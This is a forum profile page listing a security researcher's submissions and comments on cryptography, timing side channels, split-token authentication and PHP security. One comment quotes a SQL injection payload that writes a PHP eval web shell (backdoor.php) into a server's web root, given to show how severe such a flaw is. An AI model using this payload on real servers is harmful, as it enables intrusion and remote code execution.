Better HN
topnewbestaskshowjobs
Log inSign up

CiPHPerCoder

6,663 karma · joined Feb 25, 2016 (10y ago) · 1,775 submissions

My name is Scott. I do a lot of open source security research, and cryptography.

Previously AWS Cryptography (2019 - 2023).

Unless otherwise stated, my opinions are my own and do not reflect my employer.

https://scottarc.blog/about/

Submissions

comment 9y ago · link · parent

In case anyone is curious about why this was problematic:

https://paragonie.com/blog/2016/08/crypto-misnomers-zero-kno...

Zero Knowledge is something you're most likely going to find in an authentication protocol, not an encryption protocol.

While I have mixed feelings about "No Knowledge", it's at least not a collision with a different concept.

Good on SpiderOak for the effort here. It shows they do listen, at the very least.

comment 9y ago · link · parent

We don't need to audit the source code. Just grab the binary, reverse engineer it, and study that.

There's an entire industry dedicated to reverse engineering software and studying its security properties. We call it the security industry. (Not every gig is white-box!)

1083.

Giuliani (US Top Cybersecurity Advisor) Draws(patreon.com ↗)

4 points · by CiPHPerCoder · 9y ago · discuss

comment 9y ago · link · parent

WebCrypto is also a potluck of primitives, designed my committee, with "secure end-to-end encryption" as a non-goal.

I'd personally rather see browsers ship libsodium.js (or equivalent) than WC or SJCL.

1085.

Everything You Need to Know About Preventing XSS Vulnerabilities in PHP (2015)(paragonie.com ↗)

1 points · by CiPHPerCoder · 9y ago · discuss

comment 9y ago · link · parent

This was published in April 2015 but it never reached a wide audience.

I find that a lot of PHP developers still ask a lot of questions that are answered by this post, so I thought I'd share it with HN.

1087.

The Fast Track to Safe and Secure PHP Sessions (2015)(paragonie.com ↗)

2 points · by CiPHPerCoder · 9y ago · 1 comment

comment 9y ago · link · parent

I'm not sure if you meant it that way, but your comment reads as needlessly hostile.

comment 9y ago · link · parent

...Why is this flagged?

comment 9y ago · link · parent

Hash it how, exactly? H(s || m)? HMAC(m, s)?

> The only time this fails is if your hash function is broken, and if that's the case you've got much bigger problems

Or if your salt is leaked.

A salt, by definition, is not a cryptographic secret. That's why they're stored (in plaintext) as part of the hash in every password hashing algorithm.

It sounds like you're advocating for an additional HMAC instead, with a secret key used to authenticate these messages instead of a salt. Which is fine.

But to call split tokens convoluted, then turn around and propose salted hashing the entire thing and still not solving the existence of the timing leak? I find this hypocritical, and oddly reminiscent of people who think it's fine to escape-and-concatenate to solve SQL injection when we've had prepared statements available for over a decade.

comment 9y ago · link · parent

> I don't get this part. Read-write SQL injection does not imply that the attacker has access to the filesystem.

Theoretically no, but in practice, all you really need is

    SELECT '<?php eval($_GET["foo"]); ' INTO OUTFILE '/var/www/example.com/public_html/backdoor.php';
to get access to most servers.

comment 9y ago · link · parent

Hashing is deterministic.

If you give the system m, you can probably deduce H(m). If you can send candidates m, m', m'', etc. and compare the timing information of H(m), H(m'), H(m''), etc. you can learn some information about the hash being stored.

This still probably isn't exploitable (you'd need a practical preimage attack, at a minimum), but you're still leaking some knowledge from the timing leak of the comparison of the candidate hash with the stored hash.

With a split token approach, the verifier is totally unknown to the attacker. You can generate a valid selector from observing timing observations... and that's it. Game over. Find another way in the system.

If you have a 128-bit random string as your inputs, this will probably never be guessed.

It's easier to reason about the security consequences of no leak versus a minor, probably impractical leak.

comment 9y ago · link · parent

The idea here is to take an existing protocol which previously ONLY gave the user a random 64 character hex string (representing 32 random bytes), and make it more secure with no changes to what the user sees.

This is advantageous because such a change could be implemented without invalidating existing tokens.

> What is wrong with this simpler approach?

Now you're requiring two pieces of data where the connecting user agent only sends one. If the client is a piece of software, you're imposing a maintenance burden on them to use the new approach.

What you're calling a "convoluted" scheme ensures a smooth transition. Better security with no compatibility breaks.

comment 9y ago · link · parent

You're using a separate column (which is a CHAR, VARCHAR, or TEXT field) to store the selector INSTEAD of the database primary key.

From the example query:

    SELECT tokenid, validator, userid FROM password_reset_tokens WHERE selector = :selector AND NOW() < expire_time
The columns in this query:

  - tokenid     -- the primary key
  - selector    -- some text data, used in WHERE clause
  - validator   -- some text data, not used in WHERE clause
  - expire_time -- timestamp
You have a 50% chance of a collision in a 64-bit space after 2^32 values. That means you have a 50% chance of it happening once after you exhaust your 32-bit primary key space.

https://en.wikipedia.org/wiki/Birthday_attack

comment 9y ago · link · parent

Any chance we can get PHP's HashDoS vulnerability removed if we switch to PeachPie?

PHP 7.2 will make libsodium a core extension, so if you use that, you can make use of SipHash-2-4.

comment 9y ago · link · parent

We aren't interested in timing attacks on username+password, we're interested in timing attacks on authentication schemes that only involve one string (i.e. ONLY a token).

Simply hashing it before a lookup may be sufficient.

However, it's actually easier to reason about separating the search operating (which leaks timing information unavoidably) from the validation operation (which shouldn't leak timing information if we can avoid it) than relying on a hash function to blind the operation completely.

comment 9y ago · link · parent

> The author mentions that you can tell how much of the hashes match because the compare function exits early if they do. This might be true, but it doesn't give you anything.

I think you may be confused. The article discussed two cases initially:

1. Username and password hash.

2. Naked string used in a SELECT query.

The latter case is where the timing leak can occur. That password_verify() is constant-time is just a nice-to-know defense-in-depth feature, not a must-have.

(Disclaimer: I am the author.)

1098.

Split Tokens: Token-Based Authentication Protocols Without Side-Channels(paragonie.com ↗)

19 points · by CiPHPerCoder · 9y ago · 17 comments

comment 9y ago · link · parent

And only if large quantum computers are possible. If it turns out they're not, X25519/Ed25519 are safe.

But I'm not willing to be the farm on that risk. PQCrypto, please. :)

comment 9y ago · link · parent

Any time anyone misuses "zero knowledge", please direct them to this page: https://paragonie.com/blog/2016/08/crypto-misnomers-zero-kno...

comment 9y ago · link · parent

That sounds just like the sort of comment a technical person would make. Nothing slips past the Turing test!

More seriously: There are a lot of people with no primary interest in science or technology. They might be really into art, music, sports, politics, entertainment, and probably a million other topics I can't think of that may intersect with technology but isn't about the technology.

That's also a possible answer to the question. There is likely an intersection with technology regardless of your interests, and some people might come here to learn more from the technical folks. Some might even contribute back from a nontechnical perspective.

1102.

#StopMullware – On the Security of WordPress(medium.com ↗)

4 points · by CiPHPerCoder · 9y ago · discuss

comment 9y ago · link · parent

I don't see anything in the code that would stop someone from using 0 as a public key for a x25519 handshake.

comment 9y ago · link · parent

> Install the language how, and from where?

Compile from src. Use the default options.

comment 9y ago · link · parent

1. Install the language.

2. Don't install anything optional.

There, that's the standard library.

Some ecosystems will never add something like NaCl/libsodium to the standard library because the main developer experience requires package management, but that's irrelevant to the very narrowly defined claim being made.

comment 9y ago · link · parent

The post linked above explains that in detail, but this is the exact section: https://paragonie.com/blog/2016/12/everything-you-know-about...

You mostly see this in amateur Java apps but badly written PHP that tries to use RSA makes the same mistake.

1107.

PHP: First Programming Language to Add Modern Crypto into Its Standard Library(dev.to ↗)

32 points · by CiPHPerCoder · 9y ago · 9 comments

comment 9y ago · link · parent

The vulnerability is also present in the v2.0.x branch.

The development 2.1.x branch (which is what was on Github) had the vulnerability, and that's where I reported it, but it's not only in the new code.

I think maybe you're confused somewhere?

comment 9y ago · link · parent

In the case of SMF, the same vulnerabilities were present in the production versions.

Do you have any other instances you'd like to inquire about?

1
363738
60